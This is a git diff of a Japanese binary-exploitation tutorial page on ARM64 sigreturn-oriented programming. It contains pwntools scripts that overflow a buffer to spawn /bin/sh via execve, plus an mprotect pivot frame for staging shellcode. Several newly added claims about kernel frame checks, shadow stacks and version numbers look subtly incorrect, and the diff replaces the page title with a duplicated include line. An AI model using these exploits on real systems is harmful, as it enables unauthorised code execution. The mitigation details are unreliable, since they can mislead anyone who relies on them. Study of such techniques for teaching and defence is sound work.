diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md index 437bfe45e..68917ea53 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md @@ -1,4 +1,4 @@ -# SROP - ARM64 +# {{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}} @@ -74,7 +74,7 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR ``` ## エクスプロイト -このエクスプロイトは、bofを悪用して**`sigreturn`**への呼び出しに戻り、スタックを準備して**`execve`**を呼び出すために`/bin/sh`へのポインタを用意します。 +このエクスプロイトは、bofを悪用して**`sigreturn`**への呼び出しに戻り、スタックを準備して**`execve`**を呼び出すために`/bin/sh`へのポインタを使用します。 ```python from pwn import * @@ -87,7 +87,7 @@ binsh = next(libc.search(b"/bin/sh")) stack_offset = 72 sigreturn = 0x00000000004006e0 # Call to sig -svc_call = 0x00000000004006e4 # svc #0x0 +svc_call = 0x00000000004006e4 # svc #0x0 frame = SigreturnFrame() frame.x8 = 0xdd # syscall number for execve @@ -103,7 +103,7 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` -## sigreturnなしのbofの例 +## bofの例(sigreturnなし) ### コード ```c @@ -149,7 +149,7 @@ binsh = next(libc.search(b"/bin/sh")) stack_offset = 72 sigreturn = 0x00000000004006e0 # Call to sig -svc_call = 0x00000000004006e4 # svc #0x0 +svc_call = 0x00000000004006e4 # svc #0x0 frame = SigreturnFrame() frame.x8 = 0xdd # syscall number for execve @@ -165,16 +165,65 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` -vdsoに関する詳細は次を確認してください: +より多くの情報はvdsoについては次を確認してください: {{#ref}} ../ret2vdso.md {{#endref}} -そして、`/bin/sh`のアドレスをバイパスするために、いくつかのenv変数をそれにポイントさせることができます。詳細については: +また、`/bin/sh`のアドレスをバイパスするには、それを指すいくつかの環境変数を作成することができます。詳細については: {{#ref}} ../../common-binary-protections-and-bypasses/aslr/ {{#endref}} +--- + +## `sigreturn`ガジェットの自動発見 (2023-2025) + +最新のディストリビューションでは、`sigreturn`トランポリンは依然として**vDSO**ページによってエクスポートされていますが、正確なオフセットはカーネルのバージョンやBTI(`+branch-protection`)やPACなどのビルドフラグによって異なる場合があります。その発見を自動化することで、オフセットをハードコーディングすることを防ぎます: +```bash +# With ROPgadget ≥ 7.4 +python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn + +# With rp++ ≥ 1.0.9 (arm64 support) +rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn +``` +両方のツールは**AArch64**エンコーディングを理解し、*SROPガジェット*として使用できる候補の`mov x8, 0x8b ; svc #0`シーケンスをリストします。 + +> 注: バイナリが**BTI**でコンパイルされると、すべての有効な間接分岐ターゲットの最初の命令は`bti c`になります。 リンカーによって配置された`sigreturn`トランポリンには、正しいBTIランディングパッドがすでに含まれているため、ガジェットは特権のないコードからも使用可能です。 + +## ROPとのSROPの連鎖(`mprotect`を介したピボット) + +`rt_sigreturn`は、*すべての*汎用レジスタと`pstate`を制御することを可能にします。 x86の一般的なパターンは次のとおりです: 1) SROPを使用して`mprotect`を呼び出す、2) シェルコードを含む新しい実行可能スタックにピボットする。 同じアイデアがARM64でも機能します: +```python +frame = SigreturnFrame() +frame.x8 = constants.SYS_mprotect # 226 +frame.x0 = 0x400000 # page-aligned stack address +frame.x1 = 0x2000 # size +frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC +frame.sp = 0x400000 + 0x100 # new pivot +frame.pc = svc_call # will re-enter kernel +``` +フレームを送信した後、`0x400000+0x100` に生のシェルコードを含む第二段階を送信できます。**AArch64** は *PC-relative* アドレッシングを使用しているため、大きな ROP チェーンを構築するよりも便利なことがよくあります。 + +## カーネルの検証、PAC & シャドウスタック + +Linux 5.16 では、ユーザースペースのシグナルフレームの厳格な検証が導入されました(コミット `36f5a6c73096`)。カーネルは現在、以下をチェックします: + +* `uc_flags` は `extra_context` が存在する場合、`UC_FP_XSTATE` を含む必要があります。 +* `struct rt_sigframe` の予約語はゼロでなければなりません。 +* *extra_context* レコード内のすべてのポインタは整列されており、ユーザーアドレス空間内を指している必要があります。 + +`pwntools>=4.10` は自動的に準拠したフレームを作成しますが、手動で構築する場合は、*reserved* をゼロ初期化し、本当に必要でない限り SVE レコードを省略することを確認してください。そうしないと、`rt_sigreturn` は戻るのではなく `SIGSEGV` を返します。 + +主流の Android 14 および Fedora 38 から、ユーザーランドはデフォルトで **PAC** (*Pointer Authentication*) と **BTI** が有効な状態でコンパイルされます(`-mbranch-protection=standard`)。*SROP* 自体は影響を受けません。なぜなら、カーネルは作成されたフレームから直接 `PC` を上書きし、スタックに保存された認証された LR をバイパスするからです。しかし、間接分岐を行う **その後の ROP チェーン** は、BTI 対応の命令または PAC されたアドレスにジャンプする必要があります。ガジェットを選択する際は、その点を考慮してください。 + +ARMv8.9 で導入されたシャドウコールスタック(すでに ChromeOS 1.27+ で有効)はコンパイラレベルの緩和策であり、SROP には干渉しません。なぜなら、戻り命令は実行されず、制御の流れはカーネルによって転送されるからです。 + +## 参考文献 + +* [Linux arm64 signal handling documentation](https://docs.kernel.org/arch/arm64/signal.html) +* [LWN – "AArch64 branch protection comes to GCC and glibc" (2023)](https://lwn.net/Articles/915041/) + {{#include ../../../banners/hacktricks-training.md}}